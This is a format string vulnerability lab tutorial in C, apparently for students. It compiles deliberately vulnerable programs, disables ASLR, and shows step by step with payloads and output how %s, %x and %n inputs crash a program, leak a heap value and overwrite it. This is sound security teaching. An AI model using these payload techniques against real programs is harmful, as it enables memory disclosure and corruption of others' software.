```
Background on Format Strings in C using code examples
*************************************************

Demonstrate how printf() accesses optional arguments with format specifiers.

printf-opt-args.pdf file shows how the program stack would look like after main()
calls printf() function.

More examples that demonstrate how format specifiers work in printf() function.

fmtstr-1.c      // the number of optional arguments match the number of
                // format specifiers in the format string

    $ gcc -m32 fmtstr-1.c
    $ ./a.out

fmtstr-2.c      // the number of optional arguments does not match the number of
                // format specifiers in the format string (missing arguments)

    $ gcc -m32 fmtstr-2.c   // ignore compiler warnings
    $ ./a.out

fmtstr-3.c      // the number of optional arguments does not match the number of
                // format specifiers in the format string (extra arguments are not used)

    $ gcc -m32 fmtstr-3.c   // ignore compiler warnings
    $ ./a.out

fmtstr-4.c      // another demonstration of missing optional arguments in printf()
                // with hard-coded and user-provided format strings

    $ gcc -m32 fmtstr-4.c
    $ ./a.out

fmtstr-5.c      // use of %n in format string to write the number of characters
                // printed out so far into a memory location

    $ gcc -m32 fmtstr-5.c
    $ ./a.out

fmtstr-6.c      // use of precision or width modifier and %n in format string
                // to write a specific value into a memory location

    $ gcc -m32 fmtstr-6.c
    $ ./a.out

Exploiting Format String Vulnerabilities
****************************************

Format string vulnerabilities can be exploited in many ways by attackers:

    - Crashing a program
    - Accessing data in program's memory
    - Modifying a program's memory
    - Injecting malicious code and get a vulnerable program to run that code

In this FSV lab exercise, we will demonstrate the first three attacks.

*********************************************************************
*  START OF THE LAB: Format String Vulnerability (Ubuntu 20.04 VM)   *
*********************************************************************

I recommend that you start and finish all lab steps/tasks in a single session.

Lab Files: vul-prog1.c, vul-prog2.c, write-string.c

********************************
START: TASK 1 of FSV Lab
********************************
```

File you need for this task: vul-prog1.c

We want to exploit the format string vulnerability to:
    1) Crash the vul_prog1 program
    2) Access the value of secret[1]
    3) Modify the value of secret[1]
    4) Modify the value of secret[1] to a pre-determined value

Let's turn off address space layout randomization (ASLR)

    $ sudo sysctl -w kernel.randomize_va_space=0

Let's compile vul_prog1.c program (ignore compiler warnings)

    $ gcc -m32 -o vul-prog1 vul-prog1.c

1) Run the "vul-prog1" to see what the program does under normal user inputs

    $ ./vul-prog1
    The variable secret's address is 0xffffd180 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a decimal integer: 123
    Enter a string: engineering
    engineering
    The original secrets: 0x44 -- 0x55
    The new secrets: 0x44 -- 0x55

2) Now, run and try to crash "vul-prog1" program
    (you may have to run this program a few times with varying number of "%s"s
    to see when it generates a segmentation fault)

    $ ./vul-prog1
    The variable secret's address is 0xffffd180 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a decimal integer: 123
    Enter a string: %s%s%s%s%s%s%s%s%s
    Segmentation fault

3) Access the value of secret[1]

    Let's find out where the integer (123) entered is stored on the stack.

    $ ./vul-prog1
    The variable secret's address is 0xffffd180 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a decimal integer: 123
    Enter a string: %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
    ffffd188,f7ffc8a0,56556268,f7ffd000,f7ffc8a0,ffffd19a,ffffd2a4,5655a1a0,7b,252c7825,
    78252c78,2c78252c
    The original secrets: 0x44 -- 0x55
    The new secrets: 0x44 -- 0x55

    Note: the decimal integer "123" entered is equal to "7b" in hex.
    The current value of variable "int_input" is 123.

    Let's run the program again and enter the address of secret[1] as the
    decimal integer input to the program and use appropriate format string
    to display the content of secret[1]

    Useful site for hexadecimal to decimal conversion:
        https://www.binaryhexconverter.com/hex-to-decimal-converter
        For this specific run, the value 0x5655a1a4 converts to 1448452516 in decimal

```
    $ ./vul-prog1
    The variable secret's address is 0xffffd180 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a decimal integer: 1448452516
    Enter a string: %x,%x,%x,%x,%x,%x,%x,%x,%d
    ffffd188,f7ffc8a0,56556268,f7ffd000,f7ffc8a0,ffffd19a,ffffd2a4,5655a1a0,1448452516
    The original secrets: 0x44 -- 0x55
    The new secrets:      0x44 -- 0x55

    $ ./vul-prog1
    The variable secret's address is 0xffffd180 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a decimal integer: 1448452516
    Enter a string: %x,%x,%x,%x,%x,%x,%x,%x,%s
    ffffd188,f7ffc8a0,56556268,f7ffd000,f7ffc8a0,ffffd19a,ffffd2a4,5655a1a0,U
    The original secrets: 0x44 -- 0x55
    The new secrets:      0x44 -- 0x55

    Note that 'U' is the letter with the ASCII code of 0x55

4) Modify the value of secret[1]

    Use %n format specifier to write the number of characters printed out
    to secret[1] location

    $ ./vul-prog1
    The variable secret's address is 0xffffd180 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a decimal integer: 1448452516
    Enter a string: %x,%x,%x,%x,%x,%x,%x,%x,%n
    ffffd188,f7ffc8a0,56556268,f7ffd000,f7ffc8a0,ffffd19a,ffffd2a4,5655a1a0,
    The original secrets: 0x44 -- 0x55
    The new secrets:      0x44 -- 0x48

    Note the value of secret[1] has changed to 0x48 from 0x55
    0x48 is 72 in decimal. 72 characters were printed out.

5) Modify the value of secret[1] to a pre-determined value

    Let's say we want to change the value of secret[1] to value 80 (decimal)
    80 in decimal is 50 in hexadecimal.

    $ ./vul-prog1
    The variable secret's address is 0xffffd180 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a decimal integer: 1448452516
    Enter a string: %10x%10x%10x%10x%10x%10x%10x%10x%n
      ffffd188  f7ffc8a0  56556268  f7ffd000  f7ffc8a0  ffffd19a  ffffd2a4  5655a1a0
    The original secrets: 0x44 -- 0x55
    The new secrets:      0x44 -- 0x50

    Note the value of secret[1] has changed to 0x50 from 0x55


*********************************
START: TASK 2 of FSV Lab
*********************************

Here, we will repeat task 1 without the first scanf statement (that reads the
decimal integer number) from the vulnerable program in vul-prog1.c

vul-prog2.c is a modified version of vul-prog1.c
```

```
Files we need for this task: vul-prog2.c, write-string.c

File generated when write-string.c is executed: mystring

We want to exploit the format string vulnerability in vul-prog2.c to:
    1) Crash the vul-prog2 program
    2) Access the value of secret[1]
    3) Modify the value of secret[1]
    4) Modify the value of secret[1] to a pre-determined value

Let's turn off address space layout randomization (ASLR)

    $ sudo sysctl -w kernel.randomize_va_space=0

Let's compile vul-prog2.c program (ignore compiler warnings)

    $ gcc -m32 -o vul-prog2 vul-prog2.c

1) Run and try to crash "vul-prog2" program
    (you may have to run this program a few times with varying number of "%s"s
    to see when it generates a segmentation fault)

    $ ./vul-prog2
    The variable secret's address is 0xffffd184 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a string:
    %s%s%s%s%s%s%s%s%s%s
    Segmentation fault
    $

2) Access the value of secret[1]

    Edit write-string.c file to make the following change
    At line 18 in the file, do the following:
        Replace the RHS of assignment statement with the address of secret[1]
        from the output in previous step

    Compile write-string.c file:

    $ gcc -m32 -o write-string write-string.c

    Run "write-string" program to generate "mystring" data file.

    Enter "%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x" without quotes
    as input.

    $ ./write-string
    Enter a string:
    %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
    The string length is 63

    $ cat mystring
    ??UV%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
    $

    Run vul-prog2 program with input directed from "mystring" file

    $ ./vul-prog2 < mystring
    The variable secret's address is 0xffffd184 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a string:     <<-- input will be read from "mystring" file
    ??UVffffd188,f7ffc8a0,56556288,f7ffd000,f7ffc8a0,ffffd19a,ffffd2a4,0,5655a1a0,5655a1a4,
    252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825
    The original secrets: 0x44 -- 0x55
    The new secrets:      0x44 -- 0x55
```

Note the address of secret[1] is stored at position 10 on the stack after the
format string. This is also where the first word of user_input[] is located.

Now, let's rerun the "write-string" program and prepare proper input to vul-prog2

```
$ ./write_string
Enter a string:
%x,%x,%x,%x,%x,%x,%x,%x,%x,%s
The string length is 33

$ cat mystring
UV%x,%x,%x,%x,%x,%x,%x,%x,%x,%s
$
```

Let's run vul-prog2 with input from "mystring" file to display the value of secret[1]

```
$ ./vul-prog2 < mystring
The variable secret's address is 0xffffd184 (on stack)
The variable secret's value is 0x5655a1a0 (on heap)
secret[0]'s address is 0x5655a1a0 (on heap)
secret[1]'s address is 0x5655a1a4 (on heap)
Enter a string:
UVffffd188,f7ffc8a0,56556288,f7ffd000,f7ffc8a0,ffffd19a,ffffd2a4,0,5655a1a0,U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

Note that 'U' is the letter with ASCII code 0x55

3) Modify the value of secret[1]

Use %n format specifier to write the number of characters printed out
to secret[1] location

```
$ ./write-string
Enter a string:
%x,%x,%x,%x,%x,%x,%x,%x,%x,%n
The string length is 33

$ cat mystring
UV%x,%x,%x,%x,%x,%x,%x,%x,%x,%n
$

$ ./vul-prog2 < mystring
The variable secret's address is 0xffffd184 (on stack)
The variable secret's value is 0x5655a1a0 (on heap)
secret[0]'s address is 0x5655a1a0 (on heap)
secret[1]'s address is 0x5655a1a4 (on heap)
Enter a string:
UVffffd188,f7ffc8a0,56556288,f7ffd000,f7ffc8a0,ffffd19a,ffffd2a4,0,5655a1a0,
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x4e
```

Note the value of secret[1] has changed to 0x4e from 0x55
0x4e is 78 in decimal. 78 characters were printed out.

4) Modify the value of secret[1] to a pre-determined value

Let's say we want to change the value of secret[1] to value 110 (decimal)
110 in decimal is 6e in hexadecimal.

```
$ ./write-string
Enter a string:
%12x%12x%12x%12x%12x%12x%12x%12x%10x%n
The string length is 42

$ cat mystring
UV%12x%12x%12x%12x%12x%12x%12x%12x%10x%n
$
```

```
    $ ./vul-prog2 < mystring
    The variable secret's address is 0xffffd184 (on stack)
    The variable secret's value is 0x5655a1a0 (on heap)
    secret[0]'s address is 0x5655a1a0 (on heap)
    secret[1]'s address is 0x5655a1a4 (on heap)
    Enter a string:
    ??UV    ffffd188    f7ffc8a0    56556288    f7ffd000    f7ffc8a0    ffffd19a    ffffd2a4
0  5655a1a0
    The original secrets: 0x44 -- 0x55
    The new secrets:      0x44 -- 0x6e

    Note the value of secret[1] has changed to 0x6e from 0x55.
    0x6e is 110 in decimal. 110 characters were printed out.


*************** END OF FSV LAB ***************
```